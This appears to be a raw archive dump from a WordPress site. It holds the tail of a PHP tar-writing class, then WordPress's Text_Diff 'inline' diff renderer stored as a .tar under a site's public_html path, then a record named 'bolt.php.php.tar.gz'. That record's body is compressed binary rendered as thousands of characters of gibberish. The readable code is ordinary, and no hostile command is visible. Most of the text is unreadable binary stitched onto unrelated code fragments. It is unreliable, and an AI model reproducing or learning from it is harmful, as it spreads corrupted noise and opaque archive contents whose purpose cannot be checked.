        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\tT        inline.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PK     |\a  a    bolt.php.php.tar.gznu [              Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
